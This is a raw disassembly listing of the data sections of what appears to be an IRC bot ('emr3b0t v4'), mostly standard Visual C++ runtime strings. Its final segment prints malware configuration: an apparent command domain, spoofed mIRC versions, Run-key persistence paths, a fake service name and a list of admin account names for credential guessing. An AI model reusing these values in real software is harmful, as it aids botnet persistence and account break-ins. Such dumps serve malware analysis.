aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog_0 db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: _2:off_45407Co
align 10h
dbl_43D2F0 dq 0.0 ; DATA XREF: sub_42BAE0+D7r
; sub_42BAE0+11Ar ...
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_42C430+1Ao
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_42C430+6o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_42C710:loc_42C788o
align 4
dword_43D328 dd 0FFFFFFFFh, 42D1B9h, 42D1C6h, 0 ; DATA XREF: sub_42D120+5o
dword_43D338 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42D310+5o
dd offset sub_42D3ED
align 8
dd offset loc_42D3AE
dd offset loc_42D3BB
dword_43D350 dd 0FFFFFFFFh, 42D70Ch, 42D712h, 0 ; DATA XREF: sub_42D4B0+5o
dword_43D360 dd 0FFFFFFFFh, 42D78Eh, 42D79Dh, 0 ; DATA XREF: sub_42D730+5o
dword_43D370 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42D860+5o
dd offset sub_42D8CE
align 10h
dd offset loc_42D8B0
dd offset loc_42D8B6
dword_43D388 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42D910+5o
dd offset sub_42D97A
align 8
dd offset loc_42D95C
dd offset loc_42D962
aLc_time db 'LC_TIME',0 ; DATA XREF: _2:004542FCo
aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: _2:004542F0o
align 4
aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: _2:004542E4o
aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: _2:004542D8o
align 4
aLc_collate db 'LC_COLLATE',0 ; DATA XREF: _2:004542CCo
align 4
aLc_all db 'LC_ALL',0 ; DATA XREF: _2:off_4542C0o
align 10h
asc_43D3E0: ; DATA XREF: _0:loc_42DC43o
; sub_42E020+83o
unicode 0, <;>,0
asc_43D3E4 db '=;',0 ; DATA XREF: _0:loc_42DB71o
align 4
aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_42DE80+3Eo
; sub_42E020+1Bo
align 4
asc_43D3F4: ; DATA XREF: sub_42E020+5Bo
unicode 0, <=>,0
a___0 db '_.,',0 ; DATA XREF: sub_42E310:loc_42E382o
a__4: ; DATA XREF: sub_42E470+50o
; sub_4342F0:loc_4344EBo
unicode 0, <.>,0
a__5: ; DATA XREF: sub_42E470+25o
unicode 0, <_>,0
aFtell_c db 'ftell.c',0 ; DATA XREF: _0:0042E646o
; sub_42E6A0+18o
dword_43D40C dd 0 ; DATA XREF: sub_42EC50+5Do
; sub_431210+58o ...
dword_43D410 dd 2 dup(0) ; DATA XREF: sub_42EC50+35o
; sub_431210+35o ...
dword_43D418 dd 0FFFFFFFFh, 42ED96h, 42ED9Ch, 0FFFFFFFFh, 42EE8Ch, 42EE92h
; DATA XREF: sub_42EC50+5o
dword_43D430 dd 65647473h, 2E70766Eh, 63h ; DATA XREF: sub_42F290+5Bo
; sub_42F290+D0o
dword_43D43C dd 61647473h, 2E766772h, 63h ; DATA XREF: sub_42F3E0+72o
dword_43D448 dd 6E655F61h, 632E76h ; DATA XREF: sub_42F8F0+E8o
; sub_42F8F0+1C6o
dword_43D450 dd 6E696F69h, 632E7469h, 0 ; DATA XREF: sub_42FB10+Bo
; sub_42FB10+106o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
dd 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: _2:off_4543BCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42FF30+1A4o
align 10h
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_42FF30:loc_43007Ao
db 0Ah
db 'Program: ',0
align 4
aWinsig_c db 'winsig.c',0 ; DATA XREF: _0:00430651o
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_430AA0+5Fo
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_430AA0:loc_430AEBo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_430AA0+2Ao
aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_430B60+138o
align 8
dword_43D778 dd 0FFFFFFFFh, 431354h, 43135Ah ; DATA XREF: sub_431210+5o
dword_43D784 dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_4313D0+16o
; sub_4313D0+48o
dword_43D790 dd 6F74626Dh, 632E6377h, 0 ; DATA XREF: sub_431C20+21o
aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_431C20+18o
align 10h
aUngetc_c db 'ungetc.c',0 ; DATA XREF: _0:00431DB6o
; sub_431E10+16o
align 4
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTzset_c db 'tzset.c',0 ; DATA XREF: sub_433090+1D1o
aTz db 'TZ',0 ; DATA XREF: sub_433090+35o
align 4
aInittime_c db 'inittime.c',0 ; DATA XREF: sub_433970+13o
align 4
aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_4342F0+1CFo
; sub_4342F0+215o ...
align 10h
aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_434620+13o
align 4
aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_434A80+52o
; sub_434A80+6Bo ...
align 4
aParaguay db 'Paraguay',0
align 4
aUruguay db 'Uruguay',0
aChile db 'Chile',0 ; DATA XREF: _2:004549E4o
align 4
aEcuador db 'Ecuador',0 ; DATA XREF: _2:004549B8o
aArgentina db 'Argentina',0
align 4
aPeru db 'Peru',0
align 10h
aColombia db 'Colombia',0 ; DATA XREF: _2:00454934o
align 4
aVenezuela db 'Venezuela',0
align 4
aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: _2:004548DCo
align 4
aSouthAfrica db 'South Africa',0
align 4
aPanama db 'Panama',0 ; DATA XREF: _2:00454884o
align 4
aLuxembourg db 'Luxembourg',0 ; DATA XREF: _2:00454858o
align 10h
aCostaRica db 'Costa Rica',0 ; DATA XREF: _2:0045482Co
align 4
aSwitzerland db 'Switzerland',0
aGuatemala db 'Guatemala',0 ; DATA XREF: _2:004547D4o
align 4
aCanada db 'Canada',0 ; DATA XREF: _2:004547A8o
align 4
aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: _2:00454774o
align 4
aAustralia db 'Australia',0 ; DATA XREF: _2:00454750o
align 10h
aEnglish db 'English',0 ; DATA XREF: _2:00454748o _2:004548A8o
aAustria db 'Austria',0 ; DATA XREF: _2:00454724o
aGerman db 'German',0 ; DATA XREF: _2:0045471Co
align 4
aBelgium db 'Belgium',0 ; DATA XREF: _2:004546F8o
aMexico db 'Mexico',0 ; DATA XREF: _2:004546CCo
align 4
aSpanish db 'Spanish',0 ; DATA XREF: _2:004546C4o _2:004547CCo ...
aBasque db 'Basque',0 ; DATA XREF: _2:00454698o
align 4
aSweden db 'Sweden',0 ; DATA XREF: _2:00454674o
align 10h
aSwedish db 'Swedish',0 ; DATA XREF: _2:0045466Co
aIceland db 'Iceland',0 ; DATA XREF: _2:00454648o
aIcelandic db 'Icelandic',0 ; DATA XREF: _2:00454640o
align 4
aFrance db 'France',0 ; DATA XREF: _2:0045461Co
align 4
aFrench db 'French',0 ; DATA XREF: _2:00454614o _2:004546F0o ...
align 4
aFinland db 'Finland',0 ; DATA XREF: _2:004545F0o
aFinnish db 'Finnish',0 ; DATA XREF: _2:004545E8o
aSpain db 'Spain',0 ; DATA XREF: _2:off_4545C4o
; _2:004546A0o ...
align 4
aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: _2:off_4545BCo
align 10h
aUnitedStates db 'united-states',0
align 10h
aUnitedKingdom db 'united-kingdom',0
align 10h
aTrinidadTobago db 'trinidad & tobago',0
align 4
aSouthKorea db 'south-korea',0
aSouthAfrica_0 db 'south-africa',0
align 10h
aSouthKorea_0 db 'south korea',0
aSouthAfrica_1 db 'south africa',0
align 4
aSlovak db 'slovak',0
align 4
aPuertoRico db 'puerto-rico',0
aPrChina db 'pr-china',0
align 4
aPrChina_0 db 'pr china',0
align 4
aNz db 'nz',0
align 4
aNewZealand db 'new-zealand',0
aHongKong db 'hong-kong',0
align 4
aHolland db 'holland',0
aGreatBritain db 'great britain',0
align 4
aEngland db 'england',0
aCzech db 'czech',0
align 4
aChina db 'china',0
align 4
aBritain db 'britain',0 ; DATA XREF: _2:00454A70o
aAmerica db 'america',0 ; DATA XREF: _2:off_454A68o
aUsa db 'usa',0
aUs db 'us',0
align 4
aUk db 'uk',0
align 10h
aSwiss db 'swiss',0
align 4
aSwedishFinland db 'swedish-finland',0
aSpanishVenezue db 'spanish-venezuela',0
align 4
aSpanishUruguay db 'spanish-uruguay',0
aSpanishPuertoR db 'spanish-puerto rico',0
aSpanishPeru db 'spanish-peru',0
align 10h
aSpanishParagua db 'spanish-paraguay',0
align 4
aSpanishPanama db 'spanish-panama',0
align 4
aSpanishNicarag db 'spanish-nicaragua',0
align 4
aSpanishModern db 'spanish-modern',0
align 4
aSpanishMexican db 'spanish-mexican',0
aSpanishHondura db 'spanish-honduras',0
align 4
aSpanishGuatema db 'spanish-guatemala',0
align 10h
aSpanishElSalva db 'spanish-el salvador',0
aSpanishEcuador db 'spanish-ecuador',0
aSpanishDominic db 'spanish-dominican republic',0
align 10h
aSpanishCostaRi db 'spanish-costa rica',0
align 4
aSpanishColombi db 'spanish-colombia',0
align 4
aSpanishChile db 'spanish-chile',0
align 4
aSpanishBolivia db 'spanish-bolivia',0
aSpanishArgenti db 'spanish-argentina',0
align 4
aPortugueseBraz db 'portuguese-brazilian',0
align 4
aNorwegianNynor db 'norwegian-nynorsk',0
align 4
aNorwegianBokma db 'norwegian-bokmal',0
align 4
aNorwegian db 'norwegian',0
align 4
aItalianSwiss db 'italian-swiss',0
align 4
aIrishEnglish db 'irish-english',0
align 4
aGermanSwiss db 'german-swiss',0
align 4
aGermanLuxembou db 'german-luxembourg',0
align 4
aGermanLichtens db 'german-lichtenstein',0
aGermanAustrian db 'german-austrian',0
aFrenchSwiss db 'french-swiss',0
align 10h
aFrenchLuxembou db 'french-luxembourg',0
align 4
aFrenchCanadian db 'french-canadian',0
aFrenchBelgian db 'french-belgian',0
align 4
aEnglishUsa db 'english-usa',0
aEnglishUs db 'english-us',0
align 4
aEnglishUk db 'english-uk',0
align 4
aEnglishTrinida db 'english-trinidad y tobago',0
align 4
aEnglishSouthAf db 'english-south africa',0
align 4
aEnglishNz db 'english-nz',0
align 4
aEnglishJamaica db 'english-jamaica',0
aEnglishIre db 'english-ire',0
aEnglishCaribbe db 'english-caribbean',0
align 4
aEnglishCan db 'english-can',0
aEnglishBelize db 'english-belize',0
align 4
aEnglishAus db 'english-aus',0
aEnglishAmerica db 'english-american',0
align 4
aDutchBelgian db 'dutch-belgian',0
align 4
aChineseTraditi db 'chinese-traditional',0
aChineseSingapo db 'chinese-singapore',0
align 4
aChineseSimplif db 'chinese-simplified',0
align 10h
aChineseHongkon db 'chinese-hongkong',0
align 4
aChinese db 'chinese',0
aChi db 'chi',0
aChh db 'chh',0
aCanadian db 'canadian',0
align 10h
aBelgian db 'belgian',0
aAustralian db 'australian',0
align 4
aAmericanEnglis db 'american-english',0
align 4
aAmericanEngl_0 db 'american english',0
align 4
aAmerican db 'american',0 ; DATA XREF: _2:off_454B20o
align 4
off_43DEC8 dd offset byte_50434F ; DATA XREF: sub_435800:loc_435853o
off_43DECC dd offset byte_504341 ; DATA XREF: sub_435800+16o
dword_43DED0 dd 69736863h, 632E657Ah, 0 ; DATA XREF: sub_435EC0+38o
dword_43DEDC dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_435EC0+2Co
dword_43DEE8 dd 4E512331h, 4E41h ; DATA XREF: sub_436F70:loc_43712Fo
dword_43DEF0 dd 4E492331h, 46h ; DATA XREF: sub_436F70+19Bo
dword_43DEF8 dd 4E492331h, 44h ; DATA XREF: sub_436F70+168o
dword_43DF00 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch
; DATA XREF: sub_436F70+125o
dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
dd 4D41h, 65636544h, 7265626Dh, 0
aNovember db 'November',0
align 4
aOctober db 'October',0
aSeptember db 'September',0
align 10h
aAugust db 'August',0
align 4
aJuly db 'July',0
align 10h
aJune db 'June',0
align 4
aApril db 'April',0
align 10h
aMarch db 'March',0
align 4
aFebruary db 'February',0
align 4
aJanuary db 'January',0
aDec db 'Dec',0
aNov db 'Nov',0
aOct db 'Oct',0
aSep db 'Sep',0
aAug db 'Aug',0
aJul db 'Jul',0
aJun db 'Jun',0
aMay db 'May',0 ; DATA XREF: _2:00454D78o
aApr db 'Apr',0 ; DATA XREF: _2:00454D74o
aMar db 'Mar',0 ; DATA XREF: _2:00454D70o
aFeb db 'Feb',0 ; DATA XREF: _2:00454D6Co
aJan db 'Jan',0 ; DATA XREF: _2:00454D68o
aSaturday db 'Saturday',0 ; DATA XREF: _2:00454D64o
align 4
aFriday db 'Friday',0 ; DATA XREF: _2:00454D60o
align 10h
aThursday db 'Thursday',0 ; DATA XREF: _2:00454D5Co
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: _2:00454D58o
align 4
aTuesday db 'Tuesday',0 ; DATA XREF: _2:00454D54o
aMonday db 'Monday',0 ; DATA XREF: _2:00454D50o
align 4
aSunday db 'Sunday',0 ; DATA XREF: _2:00454D4Co
align 10h
aSat db 'Sat',0 ; DATA XREF: _2:00454D48o
aFri db 'Fri',0 ; DATA XREF: _2:00454D44o
aThu db 'Thu',0 ; DATA XREF: _2:00454D40o
aWed db 'Wed',0 ; DATA XREF: _2:00454D3Co
aTue db 'Tue',0 ; DATA XREF: _2:00454D38o
aMon db 'Mon',0 ; DATA XREF: _2:00454D34o
aSun db 'Sun',0 ; DATA XREF: _2:off_454D30o
aAP db 'a/p',0 ; DATA XREF: sub_4384E0:loc_4386D3o
aAmPm db 'am/pm',0 ; DATA XREF: sub_4384E0:loc_4386B3o
align 4
aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_438A00+9Co
; sub_438A00+F1o
align 8
dword_43E048 dd 0FFFFFFFFh, 438DC7h, 438DCDh, 0FFFFFFFFh, 438E46h, 438E4Ch
; DATA XREF: sub_438CA0+5o
dword_43E060 dd 6D6F7477h, 766E6562h, 632Eh, 0 ; DATA XREF: sub_4396D0+44o
dword_43E070 dd 0FFFFFFFFh, 43987Dh, 439883h, 0 ; DATA XREF: sub_439780+5o
dword_43E080 dd 0FFFFFFFFh, 439A1Fh, 439A25h ; DATA XREF: sub_439920+5o
dword_43E08C dd 6D635F61h, 632E70h ; DATA XREF: sub_439AD0+17Fo
aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
; DATA XREF: sub_439AD0:loc_439C43o
align 8
dword_43E0D8 dd 0FFFFFFFFh, 439DAFh, 439DB5h, 0FFFFFFFFh, 439E4Dh, 439E53h
; DATA XREF: sub_439AD0+5o
dword_43E0F0 dd 65746573h, 632E766Eh, 0 ; DATA XREF: sub_439F20+B2o
; sub_439F20+F2o ...
aStringTooLong db 'string too long',0 ; DATA XREF: sub_43A460+1Fo
dd offset dword_43E208
off_43E110 dd offset sub_43A5E0 ; DATA XREF: sub_43A4C0+44o
; sub_43A580+1Fo ...
dd offset sub_43A530
dd offset sub_43A550
dd offset dword_43E258
off_43E120 dd offset sub_43A700 ; DATA XREF: sub_43A610+16o
; sub_43A6B0+Ao ...
dd offset sub_43A530
dd offset sub_43A6D0
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_43A760+1Fo
dd offset dword_43E2A8
off_43E148 dd offset sub_43A840 ; DATA XREF: sub_43A7C0+16o
; sub_43A7F0+Ao ...
dd offset sub_43A530
dd offset sub_43A810
dd 0FFFFFFFFh, 43E2D8h
off_43E15C dd offset sub_43AF20 ; DATA XREF: _0:0043AEFAo
; sub_43AF50+Co ...
dd offset sub_43B0C0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_43B0C0:loc_43B0D8o
align 4
dd offset dword_43E320
off_43E17C dd offset sub_43B130 ; DATA XREF: sub_43B0F0+Ao
; _0:0043B21Ao ...
dword_43E180 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_43B240+Do
dd 3, 19930520h, 2 dup(0)
dword_43E1A0 dd 0FFFFFFFFh, 43B55Fh, 43B565h, 0FFFFFFFFh, 43B604h, 43B60Ah
; DATA XREF: sub_43B420+5o
dd 4550E0h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_43E1D0 dd offset off_4550F8 ; DATA XREF: _1:0043E1E8o _1:0043E23Co ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43E1D0
dd offset dword_43E1A0+18h
dword_43E1F0 dd 4 dup(0) ; DATA XREF: _1:0043E218o
dd 2, 43E1E8h
dword_43E208 dd 3 dup(0) ; DATA XREF: _1:0043E10Co
dd offset off_4550F8
dd offset dword_43E1F0+8
align 10h
off_43E220 dd offset off_455118 ; DATA XREF: _1:0043E238o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43E220
dd offset off_43E1D0
dd offset dword_43E1A0+18h
dd 0
db 0 ; DATA XREF: _1:0043E268o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 43E238h
dword_43E258 dd 3 dup(0) ; DATA XREF: _1:0043E11Co
dd offset off_455118
dd offset unk_43E248
align 10h
off_43E270 dd offset off_455138 ; DATA XREF: _1:0043E288o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43E270
dd offset off_43E1D0
dd offset dword_43E1A0+18h
dd 0
db 0 ; DATA XREF: _1:0043E2B8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 43E288h
dword_43E2A8 dd 3 dup(0) ; DATA XREF: _1:0043E144o
dd offset off_455138
dd offset unk_43E298
dd offset dword_43E1A0+18h
dword_43E2C0 dd 4 dup(0) ; DATA XREF: _1:0043E2E8o
dd 1, 43E2BCh, 3 dup(0)
dd offset off_4550E0
dd offset dword_43E2C0+8
align 10h
off_43E2F0 dd offset off_455158 ; DATA XREF: _1:0043E308o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43E2F0
dword_43E30C dd 3 dup(0) ; DATA XREF: _1:0043E330o
dd 1, 43E308h
dword_43E320 dd 3 dup(0) ; DATA XREF: _1:0043E178o
dd offset off_455158
dd offset dword_43E30C+4
align 8
dd 0FFFFFFFFh, 43B818h, 0
dd offset loc_43B810
dword_43E348 dd 19930520h, 2, 43E338h, 4 dup(0) ; DATA XREF: _0:loc_43B82Fo
dd 0FFFFFFFFh, 43B839h, 0
dd offset loc_43B841
dword_43E374 dd 19930520h, 2, 43E364h, 4 dup(0) ; DATA XREF: _0:loc_43B849o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_40E096
dd 2 dup(0)
dd 2 dup(1), 43E3A0h
dword_43E3C4 dd 19930520h, 2, 43E390h, 1, 43E3B0h, 3 dup(0) ; DATA XREF: _0:loc_43B854o
dd offset off_4550E0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 43AFC0h, 2 dup(0)
dd offset off_4550F8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 43A4C0h, 2 dup(0)
dd offset off_455118
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 43A730h, 0
dword_43E440 dd 3, 43E420h, 43E400h, 43E3E0h ; DATA XREF: _1:0043E45Co
dword_43E450 dd 0 ; DATA XREF: sub_43A460+3Fo
; sub_43A6D0+15o
dd offset sub_43A6B0
dd 0
dd offset dword_43E440
dword_43E460 dd 19930520h, 1, 43E480h, 5 dup(0) ; DATA XREF: SEH_43A460o
dd 0FFFFFFFFh, 43B860h
dword_43E488 dd 19930520h, 1, 43E4A8h, 5 dup(0) ; DATA XREF: SEH_43A4C0o
dword_43E4A8 dd 0FFFFFFFFh, 43B880h, 2, 43E400h, 43E3E0h, 0 ; DATA XREF: _1:0043E4CCo
dword_43E4C0 dd 0 ; DATA XREF: sub_43A550+15o
dd offset sub_43A580
dd 0
dd offset dword_43E4A8+8
dword_43E4D0 dd 19930520h, 1, 43E4F0h, 5 dup(0) ; DATA XREF: SEH_43A580o
dd 0FFFFFFFFh, 43B8A0h
dword_43E4F8 dd 19930520h, 1, 43E518h, 5 dup(0) ; DATA XREF: SEH_43A640o
dd 0FFFFFFFFh, 43B8C0h, 0
dd offset off_455138
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 43A870h, 0
dword_43E540 dd 3, 43E520h, 43E400h, 43E3E0h ; DATA XREF: _1:0043E55Co
dword_43E550 dd 0 ; DATA XREF: sub_43A760+3Fo
; sub_43A810+15o
dd offset sub_43A7F0
dd 0
dd offset dword_43E540
dword_43E560 dd 19930520h, 1, 43E580h, 5 dup(0) ; DATA XREF: SEH_43A760o
dd 0FFFFFFFFh, 43B8E0h
_1 ends
; Section 3. (virtual address 0003F000)
; Virtual size : 000B5A3D ( 743997.)
; Section size in file : 000B5A3D ( 743997.)
; Offset to raw data for section: 0003F000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_2 segment para public 'CODE' use32
assume cs:_2
;org 43F000h
assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_43F000 dd 0 ; DATA XREF: sub_41E860+29o
dd offset loc_4013E8
dd offset loc_40DBC6
dd offset sub_40E19A
dd offset sub_40F033
dd offset sub_43A8A0
dword_43F018 dd 0 ; DATA XREF: sub_41E860+24o
dword_43F01C dd 0 ; DATA XREF: sub_41E860+17o
dd offset sub_420D30
dd offset sub_4222D0
dd offset sub_429890
dd offset sub_432F40
dword_43F030 dd 0 ; DATA XREF: sub_41E860:loc_41E872o
dword_43F034 dd 0 ; DATA XREF: sub_41E920+76o
dd offset sub_422400
dword_43F03C dd 0 ; DATA XREF: sub_41E920:loc_41E991o
dword_43F040 dd 0 ; DATA XREF: sub_41E920+88o
dd offset sub_432F60
dword_43F048 dd 2 dup(0) ; DATA XREF: sub_41E920:loc_41E9A3o
dword_43F050 dd 80000002h ; DATA XREF: sub_401000+24r
off_43F054 dd offset byte_43F1EC ; DATA XREF: sub_401000+1Er
dd 80000002h, 43F21Ch, 80000001h, 43F1ECh
dword_43F068 dd 6272h, 0 ; DATA XREF: sub_4010AA+Bo
dword_43F070 dd 1F90h ; DATA XREF: sub_401404+48Fr
; sub_401404+517r
dword_43F074 dd 1F91h ; DATA XREF: sub_401404+55Dr
dword_43F078 dd 7E4h ; DATA XREF: sub_401C87:loc_4047CEr
dword_43F07C dd 45h ; DATA XREF: sub_401C87+2030r
; sub_40C049+3Br
dword_43F080 dd 7D1h ; DATA XREF: sub_401C87:loc_403DA1r
; sub_40C049:loc_40C431r
dword_43F084 dd 201h ; DATA XREF: sub_401C87:loc_403F16r
word_43F088 dw 7C7h ; DATA XREF: sub_401C87:loc_4048F0r
align 4
dword_43F08C dd 1 ; DATA XREF: sub_401C87+62Ar
dword_43F090 dd 1 ; DATA XREF: sub_401404+13Ar
dword_43F094 dd 1 ; DATA XREF: sub_401404:loc_401733r
; sub_418EAE+Cr
byte_43F098 db 2Eh ; DATA XREF: sub_401C87+A51r
; sub_401C87+B0Br ...
align 4
dword_43F09C dd 5 ; DATA XREF: sub_40AFAB+39r
; sub_40AFAB+5Fr ...
dword_43F0A0 dd 4 ; DATA XREF: sub_4019A5+78r
; sub_401C87+277r ...
dword_43F0A4 dd 1 ; DATA XREF: sub_4019A5+72r
; sub_401C87+271r
aTarab db 'Tarab',0 ; DATA XREF: sub_401404+5Do
; sub_401C87:loc_404628o ...
align 10h
aEmr3b0tV4 db 'emr3b0t v4',0 ; DATA XREF: sub_401C87:loc_404AF5o
align 4
a3zef db '3zef',0 ; DATA XREF: sub_401C87+7E34o
; sub_401C87+7EF7o
align 4
aSakenQlbe_net db 'saken-qlbe.net',0 ; DATA XREF: sub_401404+47Bo
; sub_401404+508o
align 4
a0 db '#0#',0 ; DATA XREF: sub_401404+49Bo
; sub_401404+51Eo ...
a7lome db '7lome',0 ; DATA XREF: sub_401404+4B2o
; sub_401404+530o
align 10h
byte_43F0E0 db 73h ; DATA XREF: sub_401404:loc_401944r
; sub_401404+54Eo
db 61h, 6Bh, 65h
dd 6C712D6Eh, 6E2E6562h, 7465h
dword_43F0F0 dd 233023h ; DATA XREF: sub_401404+564o
a7lome_0 db '7lome',0 ; DATA XREF: sub_401404+576o
align 4
byte_43F0FC db 79h ; DATA XREF: sub_401404+140o
; sub_401404+164w ...
db 2 dup(67h), 76h
dd 6578652Eh, 0
dword_43F108 dd 696E6977h, 622E746Eh, 7461h ; DATA XREF: sub_4124E6+3Do
aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Bo
asc_43F12A db '-',0 ; DATA XREF: _0:0040B029o
aWintys_dat db 'wintys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401C87+7F70o
align 10h
a2 db '#2',0 ; DATA XREF: sub_401C87+1CF2o
; sub_401C87+3053o ...
align 4
a2_0 db '#2',0 ; DATA XREF: sub_401C87+4477o
align 4
a2_1 db '#2',0 ; DATA XREF: sub_401C87+40A3o
; sub_401C87+41F1o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: _2:off_43F158o
off_43F158 dd offset a@admin_com ; DATA XREF: sub_401C87+7E97r
; "*@admin.com"
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: _2:off_43F1DCo
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: _2:0043F1E0o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: _2:0043F1E4o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: _2:0043F1E8o
align 4
off_43F1DC dd offset aMircV6_16Khale ; DATA XREF: sub_401C87+874r
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
byte_43F1EC db 53h ; DATA XREF: _2:off_43F054o
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41AB05+28o
; sub_41AE2B+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41AB05+D4o
; sub_41AE2B+D4o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: _2:0043F350o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: _2:0043F354o
align 4
aAdministrateur db 'administrateur',0 ; DATA XREF: _2:0043F358o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: _2:0043F35Co
aAdmins db 'admins',0 ; DATA XREF: _2:0043F360o
align 4
aAdmin db 'admin',0 ; DATA XREF: _2:0043F364o
align 10h
aStaff db 'staff',0 ; DATA XREF: _2:0043F368o
align 4
aRoot db 'root',0 ; DATA XREF: _2:0043F36Co
align 10h
aComputer db 'computer',0 ; DATA XREF: _2:0043F370o
align 4
aOwner db 'owner',0 ; DATA XREF: _2:0043F374o
align 4
